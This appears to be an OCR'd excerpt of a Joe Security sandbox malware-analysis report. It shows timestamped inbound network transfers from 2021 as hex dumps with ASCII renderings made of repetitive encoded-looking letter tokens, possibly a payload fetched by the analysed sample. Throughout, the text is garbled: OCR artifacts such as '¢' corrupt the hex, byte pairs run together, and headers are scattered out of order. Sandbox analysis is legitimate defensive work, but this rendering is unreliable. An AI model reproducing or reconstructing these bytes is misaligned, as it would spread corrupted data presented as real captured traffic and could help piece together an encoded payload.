57 20 63 57 20 4e 63 56 20 59 43 20 72 49 20 59 63 20 59 49 20 63 63 20 4e 56 4d 20 4d 4d 20 4e 56 72 20 4e 4e 4c 20
59 43 20 72 49 20 59 49 20 63 4c 20 56 43 63 20 57 4d 20 4e 4e 4c 20 4e
Data Ascii: r NVC Ve NI NNV YC Y1 YV N WC VYY rM NCW NNV YN VN VVe VrY Ir NNr NNL cW MN YC rl Yc cW NCI
NNr NNM NCL LN VVM rl YC ¢C LW VNL NNM NCW NVV YM YL LC cV IN VYV IW NCY NNc rW N rl rww NVc NNr NNW
CW NcV YCrl Yc Yl cc NVM MM NVr NNL YC rl Yl cL VCc WM NNL N

2021-10-29 18:29:53 UTC 1370 IN Data Raw: 43 20 49 63 20 4e 4e 4c 20 49 20 57 72 20 4e 4e 56 20 59 43 20 59 56 20 56 72 20 72 43 20 49 63 20 57 20 63
59 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 63 20 4e 63 20 59 56 20 49 4d 20 4e 59 20 63 59 20 4e 43 57 20 4e 4e 56 20
59 7220 56 63 20 72 72 20 59 56 20 72 4d 20 4d 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 72 20 4e 49 20 72 49 20
59 4¢ 20 72 4e 20 4d 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 72 20 72 63 20 72 49 20 4d 4d 20 57 49 20 4e 4e 72
20 4e 4e 4d 20 4e 43 59 20 57 43 20 4e 63 20 59 43 20 72 57 20 4d 59 20 57 49 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20
57 4320 72 72 20 59 43 20 4d 4c 20 4e 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 4d 4e 20 49 56 20 72 49 20 59 4e 20 4d 57
20 4e 20 49 72 20 4e 4e 72 20 4e 4e 4c 20 4d 4e 20 4e 4e 43 20 72 49 20
Data Ascii: C Ilc NNL | Wr NNV YC YV Vr rC Ic W cY NCW NNV Yr Vc Nc YV IM NY cY NCW NNV Yr Ve rr YV rM MN
NNM NCW NNc Vr NI rl YL rN MN NNM NCW NNc Vr rc rl MM WI NNr NNM NCY WC Nc YC rw MY WI NNr NNM NCY
WC rr YC ML N Ir NNr NNL MN IV rl YN MW N Ir NNr NNL MN NNC rl
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kBytes
Timestamp transferred

2021-10-29 18:29:53 UTC 1374

2021-10-29 18:29:53 UTC 1378

2021-10-29 18:29:53 UTC 1381

2021-10-29 18:29:53 UTC 1386

2021-10-29 18:29:53 UTC 1390

2021-10-29 18:29:53 UTC 1394

2021-10-29 18:29:53 UTC 1398

2021-10-29 18:29:53 UTC 1402

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 59 20 4e 4e 56 20 59 43 20 59 49 20 56 72 20 72 43 20 49 63 20 57 20 57 20 4e 43 57 20 4e 4e 56 20 59 72
20 56 63 20 4e 63 20 59 56 20 49 4d 20 4e 59 20 57 20 4e 43 57 20 4e 4e 56 20 59 72 20 56 63 20 72 72 20 59 56 20 72
4d 20 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 56 72 20 4e 49 20 72 49 20 59 4c 20 72 4e 20 4e 59 20 4e 4e 4d 20
4e 43 57 20 4e 4e 63 20 56 72 20 72 63 20 72 49 20 4d 4d 20 72 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 57 43 20 4e
63 20 59 43 20 72 57 20 4d 59 20 72 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 59 20 57 43 20 72 72 20 59 43 20 56 63 20 49
72 2049 72 20 4e 4e 72 20 4e 56 4d 20 4d 4e 20 4e 4e 43 20 72 49 20 4d 59 20 4d 4d 20 59 72 20 49 72 20 4e 4e 49 20
57 59 20 4d 57 20 4e 4e 72 20 72 57 20 4d 4d 20 4d 4d 20 59 72 20 49 72 20

Data Ascii: Y NNV YC YI Vr rC lc W W NCW NNV Yr Ve Nc YV IM NY W NCW NNV Yr Ve rr YV rM NY NNM NCW NNc
VrNIrl YL rN NY NNM NCW NNc Vr rc rl MM rV NNr NNM NCY WC Nc YC rW MY rV NNr NNM NCY WC rr YC Ve Ir Ir
NNr NVM MN NNC rl MY MM Yr Ir NNI WY MW NNr rW MM MM Yr Ir

Data Raw: 49 72 20 4e 56 43 20 4e 63 57 20 4e 4d 57 20 4e 4e 59 20 56 43 20 56 4c 49 20 59 43 20 4c 63 20 49 63 20 57
43 20 56 4e 59 20 4e 43 49 20 4e 4e 56 20 59 63 20 4e 43 20 4e 56 43 20 56 43 4e 20 4e 4d 4e 20 4e 72 4e 20 4e 4d 4e
205757 20 57 49 20 72 49 20 56 43 63 20 4c 63 20 4e 4e 72 20 49 72 20 4e 4e 72 20 4e 4e 43 20 56 20 4e 56 4c 20 59
43 20 72 49 20 59 63 20 56 4c 72 20 49 63 20 4e 20 56 4c 49 20 4e 43 49 20 4e 4e 56 20 59 56 20 4c 59 20 59 49 20 4c 5
72057 56 20 57 43 20 57 20 4e 43 57 20 4e 4e 56 20 59 63 20 59 59 20 57 4c 20 4e 4d 4d 20 49 72 20 4e 4e 72 20 4e

56 4d 20 56 20 43 20 59 43 20 72 49 20 59 63 20 49 57 20 56 72 63 20 4e 4e 59 20 4e 4e 4d 20 4e 43 4d 20 57 4d 20 59
49 20 72 4d 20 56 43 20 4e 49 4d 20 4e 72 20 4e 4e 72 20 4e 4e 4d 20 4e

Data Ascii: Ir NVC NcW NMW NNY VC VLI YC Lc Ic WC VNY NCI NNV Yc NC NVC VCN NMN NrN NMN WW WI rl VCc
Lc NNrIr NNr NNC V NVL YC rl Yc VLr Ic N VLINCINNV YV LY YI LW WV WC W NCW NNV Yc YY WL NMM Ir NNr
NVMV C YC rl Yc IW Vrc NNY NNM NCM WM YI rM VC NIM Nr NNr NNM N

Data Raw: 43 20 4c 43 20 59 72 20 4e 4c 43 20 4d 49 20 4e 4e 63 20 4e 4e 4d 20 4d 4d 20 4e 4e 63 20 4e 4c 72 20 72 56
2056 57 20 59 72 20 72 4c 20 4d 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 49 20 59 43 20 56 72 4d 20 56 57 20 63 49 20 4e
56 43 20 4e 4e 63 20 4e 4e 4d 20 4d 43 20 49 56 20 63 72 20 56 49 20 59 56 20 59 72 20 4e 4c 72 20 4e 4e 4c 20 4d 20
63 59 20 4e 4e 49 20 59 43 20 4e 72 43 20 59 56 20 63 49 20 4e 56 43 20 4e 4e 63 20 4e 4e 4d 20 56 4c 4c 20 49 59 20 4
e 72592059 20 63 43 20 59 72 20 56 56 49 20 63 4d 20 4e 72 4d 20 4d 43 20 4e 4e 49 20 59 43 20 56 43 43 20 4e 20
4d 63 20 4e 4e 43 20 4e 4e 63 20 4e 4e 4d 20 56 72 4d 20 49 43 20 63 72 20 56 49 20 63 43 20 59 72 20 4e 49 63 20 4e
43 57 20 4e 72 4d 20 4d 43 20 4e 4e 49 20 59 43 20 4e 59 59 20 56 20 4e

Data Ascii: C LC Yr NLC MI NNc NNM MM NNc NLr rV VW Yr rL MC NNM NCW NNI YC VrM VW cl NVC NNc NNM MC
IV cr VI'YV Yr NLr NNL M cY NNI YC NrC YV ¢l NVC NNc NNM VLL 1Y NrY Y ¢cC Yr VVI cM NrM MC NNI YC VCC N Mc
NNC NNc NNM VrM IC cr VI ¢cC Yr Nic NCW NrM MC NNI YC NYY V N

Data Raw: 56 72 20 4e 43 57 20 56 4c 20 59 43 20 72 57 20 59 4e 20 59 72 20 49 72 20 4e 57 4e 20 4d 4c 20 4e 43 57 20
4e 4e 56 20 57 59 20 72 49 20 59 57 20 59 72 20 56 4e 4c 20 4e 4e 72 20 56 72 72 20 4e 43 57 20 57 63 20 59 43 20 4e
49 59 20 4e 4d 20 59 72 20 49 72 20 57 4e 20 4e 4e 4d 20 4e 43 43 20 4e 4e 56 20 4e 49 4c¢ 20 72 49 20 4e 4d 57 20 59
59 20 63 49 20 4e 4e 72 20 63 63 20 72 63 20 4e 4e 56 20 59 43 20 56 59 20 59 43 20 63 4e 20 49 72 20 56 72 57 20 4e
4e 4d 20 56 4c 63 20 4e 4e 4c 20 4¢c 72 20 72 49 20 4e 57 43 20 4d 20 49 72 20 4e 4e 72 20 57 56 20 4e 43 57 20 4e 56
4c 20 59 43 20 4e 49 49 20 59 43 20 4e 49 4c 20 49 59 20 57 49 20 4e 4e 4d 20 4e 49 59 20 49 49 20 59 43 20 72 49 20
56 4d 20 59 72 20 57 59 20 4e 4e 72 20 56 72 49 20 4e 43 57 20 56 72 4e

Data Ascii: Vr NCW VL YC rW YN Yr Ir NWN ML NCW NNV WY rl YW Yr VNL NNr Vrr NCW Wc YC NIY NM Yr Ir WN
NNM NCC NNV NIL rl NMW YY cl NNr cc rc NNV YC VY YC cN Ir Viw NNM VLc NNL Lr rl NWC M Ir NNr WV NCW NVL
YC NII'YC NILTY WINNM NIY 11 YC rl VM Yr WY NNr Vrl NCW VrN

Data Raw: 4c 4c 20 72 57 20 59 43 20 59 72 20 4e 43 20 4e 56 4c 20 4e 4e 4d 20 4e 43 57 20 72 4e 20 59 4e 20 56 43 20
59 4e 20 4e 57 20 49 63 20 57 4d 20 4e 4e 63 20 4e 43 57 20 4e 4e 56 20 4d 4e 20 63 4c 20 59 43 20 59 72 20 4e 4c 20
4e 4e 59 20 49 4e 20 4e 43 49 20 49 59 20 72 49 20 4c 59 20 59 4e 20 59 72 20 49 72 20 56 72 63 20 4e 4e 4d 20 4e 43
57 20 4e 4e 56 20 4e 43 4d 20 72 57 20 56 56 20 59 59 20 4e 4e 4c 20 4e 4e 56 20 4e 43 56 20 4e 43 49 20 4e 4e 56 20
59 43 20 59 4c 20 59 59 20 59 72 20 49 72 20 72 4c 20 4e 4e 63 20 4d 4c 20 4e 4e 4c 20 56 4c 20 59 43 20 4c 4c 20 59
59 20 49 72 20 4e 4e 72 20 56 4c 4e 20 57 49 20 4e 4e 56 20 59 43 20 4e 43 59 20 59 4e 20 4e 49 20 49 59 20 49 4d 20
4e 4e 57 20 4e 56 63 20 4e 4e 4c 20 59 43 20 72 49 20 56 72 56 20 59 72

Data Ascii: LL rW YC Yr NC NVL NNM NCW rN YN VC YN NW Ic WM NNc NCW NNV MN cL YC Yr NL NNY IN NCI Y rl
LY YN Yr Ir Vric NNM NCW NNV NCM rW VV YY NNL NNV NCV NCI NNV YC YL YY Yr Ir rL NNc ML NNL VL YC LL YY
Ir NNr VLN WI NNV YC NCY YN NI 1Y IM NNW NVc NNL YC rl VrV Yr

Data Raw: 57 20 4e 4e 4¢ 20 59 43 20 72 72 20 72 63 20 4e 72 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 72 56 20 4e 43 49
2059 56 20 4c 4c 20 59 4e 20 59 72 20 72 59 20 4e 4e 4e 20 4e 43 20 4e 56 72 20 4e 4e 4c 20 59 43 20 4e 63 4¢ 20 72
4d 20 4e 72 72 20 49 72 20 63 59 20 4e 4e 63 20 56 56 56 20 4e 56 63 20 4e 49 56 20 4c 4c 20 4e 20 59 59 20 4e 56 20
57 49 20 56 59 56 20 4e 56 72 20 63 4d 20 59 4e 20 63 72 20 4c 49 20 4e 4d 49 20 63 57 20 63 59 20 4e 4e 63 20 4e 4e
43 20 4e 4e 57 20 4e 49 49 20 4c 4c 20 4e 20 59 59 20 4e 4d 72 20 4e 56 4d 20 56 4c 43 20 4e 56 72 20 63 4d 20 59 4e
20 4e 57 63 20 59 63 20 4e 4d 72 20 63 57 20 63 59 20 4e 4e 63 20 56 4c 4e 20 4e 56 63 20 4e 4d 59 20 4c 4c 20 4e 20
59 59 20 56 4e 4c 20 57 49 20 56 4e 59 20 4e 56 72 20 63 4d 20 59 4e 20

Data Ascii: W NNL YC rr rc Nrr Ir NNY NNM rV NCI YV LL YN Yr rY NNN NC NVr NNL YC NcL rM Nrr Ir cY NNc VWV

NVe NIV LL N YY NV WI VYV NVr cM YN cr LI NMI cW cY NNc NNC NNW NII LL N YY NMr NVM VLC NVr cM YN NWc Y
¢ NMr cW cY NNc VLN NVec NMY LL N YY VNL WI VNY NVrcM YN

Data Raw: 4e 4d 49 20 4e 4e 59 20 4e 49 72 20 4d 49 20 4e 4e 4c 20 59 43 20 63 20 59 43 20 49 56 20 4e 43 57 20 4e 4e
72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 63 72 20 72 49 20 4e 57 4c 20 57 20 4e 49 43 20 57 4d 20 63 4d 20 4e 43
57 20 4e 57 56 20 4e 4e 20 72 49 20 59 43 20 59 72 20 49 72 20 56 56 4d 20 4e 4e 4d 20 4e 59 49 20 4d 57 20 56 4e 4c
20 4c¢ 59 20 4e 43 20 59 72 20 4e 56 20 4d 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 4d 4d 20 59 43 20 4e
43 4d 20 4e 43 59 20 4e 4c 43 20 4e 43 56 20 49 4d 20 4e 4e 56 20 4e 72 20 4e 4e 20 59 43 20 59 72 20 49 72 20 4e 4e
722056 72 72 20 4e 43 57 20 4e 57 4d 20 56 4e 20 56 43 4d 20 4c 4c 20 57 20 49 72 20 4e 72 20 4d 49 20 4e 43 57 20
4e 4e 56 20 59 43 20 72 49 20 4e 4d 57 20 59 72 20 4e 4d 72 20 63 4d 20

Data Ascii: NMI NNY NIr MI NNL YC ¢ YC IV NCW NNr NNM NCW NNV Ncr rl NWL W NIC WM ¢cM NCW NWV NN rl YC
YrIr VVM NNM NYI MW VNL LY NC Yr NV MV NNM NCW NNV YC NMM YC NCM NCY NLC NCV IM NNV Nr NN YC Yr
Ir NNr Vir NCW NWM VN VCM LL W Ir Nr MI NCW NNV YC rl NMW Yr NMr cM

Data Raw: 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 56 59 4e 20 4e 4e 56 20 4e 43 49 20 72 63 20 56 56 4c 20 4¢
7220 4e 72 4c¢ 20 4e 4e 72 20 4e 43 59 20 59 4c 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 4e 63 43 20 49 72 20 4e 56
57 20 4e 4e 59 20 4e 56 49 20 4e 43 43 20 56 4c 63 20 72 49 20 49 20 4e 4e 43 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e
43 57 20 56 4c 43 20 59 43 20 72 4d 20 4c 20 56 4e 57 20 63 72 20 4e 72 4d 20 4e 4e 4d 20 4c 4¢c 20 72 43 20 59 43 20 7
2492059432059 72 20 4e 57 72 20 4e 4e 72 20 57 20 72 72 20 4e 59 4d 20 4c 49 20 56 4e 56 20 59 43 20 4e 43 72
20 4e 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 63 72 20 72 49 20 4e 4e 43 20 72 57 20 4e 49 59 20 4e
43 56 20 4e 72 63 20 4e 43 57 20 72 20 4e 43 63 20 72 49 20 59 43 20 59

Data Ascii: ¢ Yr Ir NNr NNM VYN NNV NCI rc VVL Lr NrL. NNr NCY YL NNV YC rl YC NcC Ir NVW NNY NVINCC Vicrl |
NNC Ir NNr NNM NCW VLC YC rM L VNW cr NrM NNM LL rC YC rl YC Yr NWr NNr W rr NYM LI VNV YC NCr NV NNr
NNM NCW NNV Ner rl NNC rW NIY NCV Nrc NCW r NCc rl YC Y
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:53 UTC 1406 IN Data Raw: 20 59 43 20 4e 72 57 20 4e 43 72 20 4e 56 72 20 57 57 20 4c 4c 20 4e 4e 4c 20 59 43 20 4e 49 4c¢ 20 59 43 20
59 72 20 49 72 20 4e 4e 72 20 56 56 4d 20 4e 43 57 20 4e 72 57 20 56 72 20 4c 49 20 4c 63 20 4e 56 43 20 49 59 20 56
72 4e 20 56 72 56 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 63 72 20 63 56 20 56 57 20 4e 43 4d 20 4e 43 72 20
4e 56 4c 20 63 4c 20 59 4e 20 4e 56 49 20 4e 49 4e 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 56 59 4e 20 4e 4e 56 2
057 63 20 72 4e 20 4e 4d 20 4c 56 20 56 4d 20 4e 4e 59 20 4e 4c 4c 20 56 4c¢ 72 20 4e 4e 56 20 59 43 20 72 49 20 59 43
20 4e 63 43 20 49 72 20 72 4e 20 4e 43 49 20 4e 49 43 20 4e 56 59 20 57 49 20 72 57 20 59 43 20 59 72 20 49 72 20 4e
4e 72 20 56 72 59 20 4e 43 57 20 56 56 59 20 4e 49 20 56 56 56 20 49
Data Ascii: YC NrW NCr NVr WW LL NNL YC NIL YC Yr Ir NNr VVM NCW NrW Vr LI Lc NVC IY VIN VIV NCW NNV YC
rl Ncr ¢V VW NCM NCr NVL cL YN NVININ Yr Ir NNr NNM VYN NNV We rN NM LV VM NNY NLL VLr NNV YC rl YC
NcC Ir rN NCI NIC NVY WIrW YC Yr Ir NNr VrY NCW VVY NI VVV |

2021-10-29 18:29:53 UTC 1410 IN Data Raw: 20 4e 4d 72 20 56 43 57 20 59 43 20 72 49 20 59 43 20 59 72 20 56 4e 43 20 4e 56 56 20 4e 4d 59 20 4e 43
4d 20 57 63 20 59 43 20 4e 49 4d 20 59 4e 20 56 59 43 20 56 72 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20
4e 49 43 20 59 63 20 4e 4c 59 20 63 56 20 56 56 57 20 4e 43 43 20 56 72 57 20 4e 43 49 20 4e 63 72 20 4e 72 4d 20 72
49 20 59 43 20 59 72 20 49 72 20 56 72 72 20 4e 56 59 20 56 43 49 20 4e 56 43 20 4e 4c 4d 20 4c 49 20 4e 57 43 20 59
59 20 4e 4c 4d 20 56 4e 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 49 56 20 59 49 20 4e 43 20 57 59 20 4e
49 43 20 57 57 20 56 56 72 20 4e 4e 4c 20 56 4e 59 20 4e 72 59 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 72 4c 20
4e 43 4e 20 59 56 20 59 4d 20 56 56 72 20 4c 63 20 4e 49 4d 20 49 59 20 4e
Data Ascii: NMr VCW YC rl YC Yr VNC NVV NMY NCM Wc YC NIM YN VYC VrY NNr NNM NCW NNV NIC Yc NLY cV
VVW NCC VrW NCI Ncr NrM rl YC Yr Ir Vir NVY VCI NVC NLM LI NWC YY NLM VNN NNM NCW NNV YC NIV YI NC W
Y NIC WW VVr NNL VNY NrY YC Yr Ir NNr VL NCN YV YM VVr Lc NIM IY N

2021-10-29 18:29:53 UTC 1413 IN Data Raw: 63 20 56 56 4e 20 56 4e 4c 20 59 43 20 72 49 20 59 43 20 59 72 20 56 4e 43 20 4e 56 56 20 4e 49 49 20 4e 56
72 20 4e 43 4d 20 59 43 20 4e 59 63 20 59 4e 20 4e 72 56 20 56 72 4e 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56
20 4e 49 43 20 59 63 20 56 56 4d 20 4c 57 20 56 57 20 4e 4e 57 20 56 4e 4d 20 4e 43 49 20 4e 4d 4d 20 4e 59 4e 20 72
49 20 59 43 20 59 72 20 49 72 20 56 72 72 20 4e 56 59 20 4e 4e 59 20 4e 4e 56 20 4e 4d 4c 20 4c 4d 20 4e 59 57 20 59
59 20 4e 59 4d 20 56 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 49 56 20 59 49 20 4e 4d 20 49 72 20 56
4e 4c 20 57 63 20 4e 57 56 20 4e 4e 4¢ 20 56 56 72 20 4e 72 57 20 59 43 20 59 72 20 49 72 20 4e 4e 72 2056 72 4c 20
4e 43 4e 20 4e 43 63 20 72 57 20 4e 4d 59 20 4c 57 20 4e 59 56 20 49 59
Data Ascii: ¢ VVN VNL YC rl YC Yr VNC NVV NIl NVr NCM YC NYc YN NrV VrN NNr NNM NCW NNV NIC Yc VVM LW
VW NNW VNM NCI NMM NYN rl YC Yr Ir Vrr NVY NNY NNV NML LM NYW YY NYM VNY NNM NCW NNV YC NIV YI
NM Ir VNL We NWV NNL VVr NrW YC Yr Ir NNr VriL NCN NCc rW NMY LW NYV IY

2021-10-29 18:29:53 UTC 1418 IN Data Raw: 20 59 59 20 4d 49 20 56 4e 57 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 49 56 20 59 49 20 4e 4c 57
2057 56 20 57 49 20 4e 4e 4d 20 4e 57 43 20 4e 4e 4c 20 4e 4d 20 4e 59 4c 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20
56 72 4c 20 4e 43 4e 20 4d 63 20 59 4d 20 56 72 57 20 59 43 20 56 56 63 20 49 59 20 49 57 20 56 56 43 20 4e 43 57 20
4e 4e 56 20 59 43 20 72 49 20 4e 49 43 20 63 56 20 4e 63 20 4e 56 4e 20 4e 43 4e 20 4e 43 57 20 4e 63 72 20 59 4e 20
72 20 4e 59 59 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 56 4c 59 20 4e 56 43 20 56 4c 59 20 63 43 20 56 59 4e 20
59 72 20 4e 56 57 20 4e 4e 59 20 4d 4c 20 4e 57 63 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 4e 4d 63 20 57 56 20 4e
72 4d 20 4e 56 4e 20 4e 56 59 20 4e 4e 56 20 56 4c 4e 20 72 57 20 4e 4e
Data Ascii: YY MI VNW NNM NCW NNV YC NIV YI NLW WV WI NNM NWC NNL NM NYL YC Yr Ir NNr VrL NCN Mc YM
VIW YC VVc IY IW VVC NCW NNV YC rl NIC ¢V Nc NVN NCN NCW Ncr YN r NYY Yr Ir NNr NNM VLY NVC VLY cC
VYN Yr NVW NNY ML NWc NNV YC rl YC NMc WV NrM NVN NVY NNV VLN rWw NN

2021-10-29 18:29:53 UTC 1422 IN Data Raw: 43 49 20 59 43 20 4d 59 20 4e 59 4d 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 56 72 4c 20 59 43 20
57 49 20 72 49 20 56 56 4e 20 63 4d 20 72 59 20 4e 4e 57 20 56 4c 63 20 56 4e 57 20 59 43 20 72 49 20 59 43 20 59 72
20 56 4e 43 20 4e 43 63 20 56 59 59 20 49 57 20 4e 4e 4d 20 59 43 20 49 43 20 72 49 20 4e 59 43 20 56 59 59 20 4e 4e
72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 56 4e 4e 20 72 57 20 4e 4c 63 20 56 4e 20 49 59 20 4e 4e 72 20 56 43 20 4e
4e 4e 20 56 4e 56 20 4e 59 4¢ 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 72 4d 20 4e 4e 63 20 4e 63 59 20 72 49 20 72
4e 20 72 49 20 49 4c 20 59 56 20 72 20 56 56 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 56 43 57 20 59 57 20
4c 4c 20 4e 43 4d 20 56 43 4c 20 4e 43 57 20 4e 56 20 4e 4e 72 20 4e 43 63
Data Ascii: CI YC MY NYM Ir NNr NNM NCW VrL YC WI rl VVN cM rY NNW VLc VNW YC rl YC Yr VNC NCc VYY IW
NNM YC IC rl NYC VYY NNr NNM NCW NNV VNN rW NLc VN IY NNr VC NNN VNV NYL rl YC Yr Ir NrM NNc NcY rl rN
rHIL YV r VVL NNM NCW NNV YC VCW YW LL NCM VCL NCW NV NNr NCc

2021-10-29 18:29:53 UTC 1426 IN Data Raw: 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4d 63 20 4d 49 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 57 20 57 4c

20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 59 59 20 4e 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4d 63
20 4d 49 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 57 20 57 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 59
59 20 4e 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4d 63 20 4d 49 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 57
20 57 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 59 59 20 4e 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d
20 4d 63 20 4d 49 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 57 20 57 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43
20 4e 59 59 20 4e 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4d 63

Data Ascii: r Ir NNL NNM Mc M1 YC rl YN Yr rW WL NNM NCW NNr YC NYY NC Yr Ir NNL NNM Mc MI YC rl YN Yr rwW
WL NNM NCW NNr YC NYY NC Yr Ir NNL NNM Mc MI'YC rl YN Yr rw WL NNM NCW NNr YC NYY NC Yr Ir NNL NNM
Mc MIYC rl YN Yr rW WL NNM NCW NNr YC NYY NC Yr Ir NNL NNM Mc

2021-10-29 18:29:53 UTC 1430 IN Data Raw: 20 56 59 4e 20 57 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 4e 59 57 20 56 4d 20 59 72 20 49 72 20
4e 4e 59 20 4e 4e 4d 20 4e 57 72 20 49 57 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 20 49 59 20 4e 4e 4d 20 4e 43 57
20 4e 4e 4c 20 59 43 20 57 63 20 56 4e 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 63 4e 20 49 4d 20 59 43 20 72 49
2059 4e 20 59 72 20 72 20 49 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4¢ 20 59 43 20 57 63 20 56 4e 20 59 72 20 49 72 20
4e 4e 59 20 4e 4e 4d 20 59 4c 20 49 57 20 59 43 20 72 49 20 72 49 20 59 72 20 56 4e 57 20 57 4e 20 4e 4e 4d 20 4e 43
57 20 4e 4e 4c 20 59 43 20 57 63 20 56 4e 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 63 4e 20 49 4d 20 59 43 20 72
49 20 59 4e 20 59 72 20 72 20 49 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c
Data Ascii: VYN WN NNM NCW NNL YC NYW VM Yr Ir NNY NNM NWr IW YC rl YN Yrr IY NNM NCW NNL YC Wc VN
Yrir NNY NNM ¢cN IM YC rl YN Yrr IY NNM NCW NNL YC We VN Yr Ir NNY NNM YL IW YC rl rl Yr VNW WN NNM NCW
NNL YC We VN Yr Ir NNY NNM ¢cN IM YC rl YN Yrr 1Y NNM NCW NNL

2021-10-29 18:29:53 UTC 1434 IN Data Raw: 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4e 56 56 20 4e 4e 43 20 59 43 20 72 49 20 59 4e 20 59 72 20 4e 43 4c 20
72 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 4¢ 20 4e 4e 56 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4e
49 49 20 57 43 20 59 43 20 72 49 20 72 57 20 59 72 20 4e 4d 20 4d 57 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20
4e 4d 20 4e 56 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 72 43 20 4d 4d 20 59 43 20 72 49 20 72 49 20 59 72 20 63
4d 20 4e 43 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 4c 20 4e 4e 56 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e
4d 20 4e 57 4d 20 72 49 20 59 43 20 72 49 20 72 57 20 59 72 20 56 72 72 20 59 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63
20 59 43 20 4e 56 72 20 56 20 59 72 20 49 72 20 4e 4e 57 20 4e 4e 4d 20
Data Ascii: Ir NNV NNM NVV NNC YC rl YN Yr NCL rl NNM NCW NNL YC L NNV Yr Ir NNV NNM NIl WC YC rl rW Yr
NM MW NNM NCW NNL YC NM NV Yr Ir NNY NNM rC MM YC rl rl Yr cM NCI NNM NCW NNL YC L NNV Yr Ir NNV
NNM NWM rl YC rl rW Yr Vir YC NNM NCW NNc YC NVr V Yr Ir NNW NNM
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kBytes
Timestamp transferred

2021-10-29 18:29:53 UTC 1438

2021-10-29 18:29:53 UTC 1442

2021-10-29 18:29:53 UTC 1445

2021-10-29 18:29:53 UTC 1450

2021-10-29 18:29:53 UTC 1454

2021-10-29 18:29:53 UTC 1458

2021-10-29 18:29:53 UTC 1462

2021-10-29 18:29:53 UTC 1466

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 4e 63 20 59 4e 20 59 56 20 63 72 20 57 20 4e 63 4d 20 4e 4e 49 20 4e 4e 63 20 4e 43 59 20 4e 4e 4d 20 57
20 56 43 4e 20 59 72 20 63 4c¢ 20 49 43 20 4c 4c 20 4e 4e 43 20 4e 72 63 20 4e 4e 63 20 56 4c 49 20 72 49 20 4e 49 72
20 56 20 49 59 20 4e 4e 72 20 4e 43 43 20 4e 43 59 20 4e 72 43 20 56 4e 20 72 43 20 59 59 20 56 4c 20 49 43 20 4e 57
49 20 49 63 20 4e 43 49 20 4e 4e 56 20 4e 57 20 59 56 20 72 4c¢ 20 4e 4e 49 20 49 59 20 4e 4e 72 20 4e 4e 63 20 4e 43
49 20 4e 49 57 20 4e 4d 20 72 57 20 59 43 20 72 4d 20 49 59 20 56 72 49 20 63 59 20 56 59 20 4e 4e 56 20 56 4d 20 59
56 20 4e 49 72 20 56 20 56 56 20 4e 4e 57 20 57 56 20 4e 43 59 20 4e 72 4e 20 72 4d 20 4e 56 4e 20 59 59 20 4c 4e 20
